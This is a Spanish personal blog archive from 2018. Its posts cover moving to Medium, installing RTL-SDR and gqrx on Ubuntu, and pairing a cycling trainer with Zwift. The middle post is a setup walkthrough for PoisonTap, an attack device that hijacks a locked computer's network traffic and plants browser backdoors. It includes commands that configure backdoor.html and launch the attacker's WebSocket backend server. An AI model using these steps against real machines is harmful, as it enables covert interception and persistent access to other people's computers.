lunes, julio 23, 2018

¡Nos mudamos a Medium!


Este blog estuvo al aire por casi 10 años. Demasiado tiempo para una plataforma y para una misma tarea en Internet. Blogger ha cambiado muy poco desde que comencé a utilizarlo.  Y es por la simplicidad que otorga Medium, respecto a todas las configuraciones posibles de Blogger que he decidido migrar este simple/humilde blog.

La nueva ubicación es:
https://medium.com/@pdelteil



domingo, julio 22, 2018

Software Defined Radio para principiantes


Si quieres comenzar a introducirte al mundo del SDR, te recomiendo comprar este dongle, si el link ya no estuviera funcionando, puedes buscar el dispositivo con los siguientes keywords "RTL2832U RTL-SDR", selecciona uno que traiga varios accesorios (para hacer tu vida más fácil al momento de utilizar el dispositivo).

Dongle RTL-SDR RTL2832U T8220T2
Dongle RTL-SDR RTL2832U T8220T2

Este procedimiento de instalación fue probado en Ubuntu 18.04.

Oneliner (si confías y te gustan los oneliners):
sudo apt-get update; sudo apt-get install git cmake build-essential libusb-1.0-0-dev -y; git clone git://git.osmocom.org/rtl-sdr.git; cd rtl-sdr/; mkdir build; cd build; cmake ../ -DDETACH_KERNEL_DRIVER=ON; make; sudo make install; sudo ldconfig ; rtl_test -t
Paso a paso:
sudo apt-get update
sudo apt-get install git cmake build-essential libusb-1.0-0-dev
#Driver para Realtek RTL2832U
git clone git://git.osmocom.org/rtl-sdr.git
cd rtl-sdr/; mkdir build; cd build
cmake ../ -DDETACH_KERNEL_DRIVER=ON
make; sudo make install; sudo ldconfig
#Probando el receptor 
rtl_test -t

Si todo sale correctamente deberías ver algo como esto:

Output de rtl_test -t










Instalar gqrx
sudo apt-get install gqrx-sdr
Optimización usando libvolk

VOLK es la Biblioteca de kernels optimizada para vectores. Es una biblioteca que contiene núcleos de código SIMD escritos a mano para diferentes operaciones matemáticas. Como cada arquitectura SIMD puede ser muy diferente y aún no se ha encontrado ningún compilador para manejar la vectorización de manera adecuada o altamente eficiente, VOLK aborda el problema de manera diferente.
No se realmente el detalle de lo que realiza volk pero dicen que mejora sustancialmente el rendimiento del adaptador RTL con el computador del usuario.

sudo apt-get install libvolk1-bin
volk_profile
Este último paso demorará alrededor de 10 minutos.


Fuentes:

http://gqrx.dk/download/install-ubuntu
https://www.reddit.com/r/RTLSDR/comments/3or4et/linux_takes_hold_of_usb_rtl_device/
http://libvolk.org/
http://libvolk.org/doxygen/
https://ranous.files.wordpress.com/2018/02/rtl-sdr4linux_quickstartv2-18.pdf

miércoles, julio 18, 2018

Como hacer un poisonTap

PoisonTap es un gran proyecto del hacker Samy Kamkar y uno de los primeros que realicé. La documentación no es tan clara como yo hubiese querido, así que hice este pequeño resumen de instrucciones:

Requisitos: 

- Raspberry pi zero
- Ubuntu Linux 17/18 instalado
- Cable mini USB
- Memoria Micro-SD

Instalar raspbian en sd 



Instalar y ejecutar etcher 

cd Downloads
chmod a+x Etcher-linux-x64.AppImage
./Etcher-linux-x64.AppImage


Configurar la raspberry para que funcione como adaptador ethernet. 

Vamos a la ruta donde está montada la partición boot de la memoria sd (asumamos que es /media/user/boot, donde user es tu usuario de Ubuntu)

Editar /media/user/boot/config.txt y agregar dtoverlay=dwc2

echo "dtoverlay=dwc2" >> /media/user/boot/config.txt

Crear archivo vacío de nombre ssh (por defecto está deshabilitado el acceso sshs)

touch /media/user/boot/touch 

Editar /media/user/boot/cmdline.txt. Insertar el siguiente texto "modules-load=dwc2,g_ether" después de rootwait. Preservando los espacios de separación. 

sed -i 's/rootwait/rootwait modules-load=dwc2,g_ether/' /media/user/boot/cmdline.txt

Conectarse al dispositivo mediante ssh 

Con las opciones por defecto, el dispositivo no se conecta (como adaptador ethernet)

Para conseguirlo, hay que realizar los siguientes pasos: 

1. Ir a configuración de red 
2. ipv6 debe estar deshabilitado.
3. ipv4 debe estar como solo local (Local Link Only) 
4. Apagar y prender el adaptador de red desde la configuración. 

Una vez que diga "conectado" debes ejecutar:

ssh pi@raspberrypi.local  (directamente con la ip no funciona en la mayoría de los casos) 
La contraseña por defecto es raspberry.

IP FORWARDING IN THE HOST

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE  (eth0 interfase con internet en host) 

IP_PC=$(ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1')
echo $IP_PC | sudo tee /etc/resolv.conf
sudo route add default gw $IP_PC


Configurar el DNS 
echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf


Configurar Raspberry Pi 
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo -e "dwc2\ng_ether" >> /etc/modules (verificar)
sudo sed --in-place "/exit 0/d" /etc/rc.local
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local
mkdir /home/pi/poisontap
chown -R pi /home/pi/poisontap
apt-get update && apt-get upgrade
apt-get -y install isc-dhcp-server dsniff screen nodejs

Luego, 

nano poisontap/backdoor.html (cambiar la url, var socket = new WebSocket('ws://:1337');) 

Luego copiar el archivo de configuración de DCHP. 

sudo cp -f dhcpd.conf /etc/dhcp/dhcpd.conf


SERVER 

Ejecutar en el servidor host del ataque. 

sudo apt-get install git npm
sudo npm install websocket
curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash -
sudo apt-get install nodejs
git clone https://github.com/samyk/poisontap
cd poisontap
sudo node backend_server.js &

Fuentes: 


Como utilizar Zwift y no frustrarse en el intento



Si eres ciclista y estás agregando un rodillo inteligente (controlable o no) a tu rutina de ejercicio tengo algunos consejos que te podrían ayudar para no terminar frustrado con tus dispositivos.


- Aclaración: Zwift no funciona en Linux, intenté utilizarlo con Wine pero entré en un ciclo de errores de librerías .Net que no logré resolver. Si alguien lo logró que escriba un comentario. Tampoco funciona en una máquina virtual, el programa se cerraba constantemente, no se la razón especifica. Todo esto, es porque que utilizo Ubuntu y no quería verme obligado a tener boot dual con Windows (puaj!). 


Mi hardware:

- Rodillo Tacx Satori (con firmware actualizado)
- Pulsómetro Garmin (compatible con Ant+)
- Sensor de cadencia y velocidad Garmin (compatible con Ant+).
- Notebook con bluetooth.
- Celular con bluetooth (OnePlus 3T)
- Bicileta Trek 1.5. 


Conectividad Bluetooth vs Ant+

Hay básicamente dos formas de conectar el rodillo a Zwift, mediante Bluetooth o mediante Ant+. La mayoría de las personas intentarán primeramente con Bluetooth porque es una tecnología mucho más masiva y de uso común que Ant+. 

Utilizar Ant+ es mucho más simple que Bluetooth. 

Las instrucciones que siguen a continuación asumen que tienes Zwift instalado correctamente, es un proceso lento (considera por lo menos 30' para la instalación).

Lo más frustrante es realizar la conexión entre Zwift y el rodillo, las primeras veces demoré hasta 15 minutos en conseguir lograrlo. Para que te funcione con bluetooth debes seguir los siguientes pasos (necesitas tu celular):

- Encender bluetooth en el teléfono y en el computador.
- Encender el rodillo (en el caso del mío, debe parpadear una luz roja)
- Activar localización en tu teléfono (GPS). Sin esto habilitado no podrás realizar el pareo entre el rodillo y el programa. 
- Ejecutar la aplicación Zwift en el computador.
- Acceder a la aplicación "Companion Zwift" en Android/iPhone. E ir a la sección Games. Tu celular y computador deben estar en la misma red wifi. 
- Revisar que en la pantalla de pareo de dispositivos de Zwift aparezca el icono de tu celular (sin signo de advertencia, ver imagen)



- Hacer click en buscar/search.

Si luego de 5 segundos no aparece nada. Deberás repetir los siguientes pasos:

- Apagar y prender rodillo.
- Cerrar y abrir nuevamente la aplicación "Companion zwift" en tu celular.
- Cerrar y abrir nuevamente la aplicación desktop de Zwift.
- Hacer click en buscar/search. En caso de no funcionar, repetir.

Generalmente, tuve que repetir estos pasos al menos una vez cada vez que utilicé el rodillo. Algo muy frustrante e inconveniente.

Cosas malas que pueden ocurrir: 

1. Si Abres otra aplicación en el teléfono (dejas companion zwift en segundo plano) y se desconecta el rodillo.
2. Desconexiones aleatorias (sin explicación) del cadenciomentro del rodillo y/o del rodillo en sí.
3. Celular se apague y pierdas tu información.


Ant+ 

Para utilizar Ant+ lo único que debes hacer es comprar un USB/Ant+ dongle. Yo compré este. Todo el resto es muy simple. El pareo ni siquiera requiere de tu celular. Y los dispositivos son reconocidos de forma instantánea. Incluso puedes utilizar el mismo sensor en varios dispositivos/programas, yo los usé de forma simultanea en Zwift y en el computador Garmin instalado en la bicicleta (principalmente para ver el % de pulso máximo).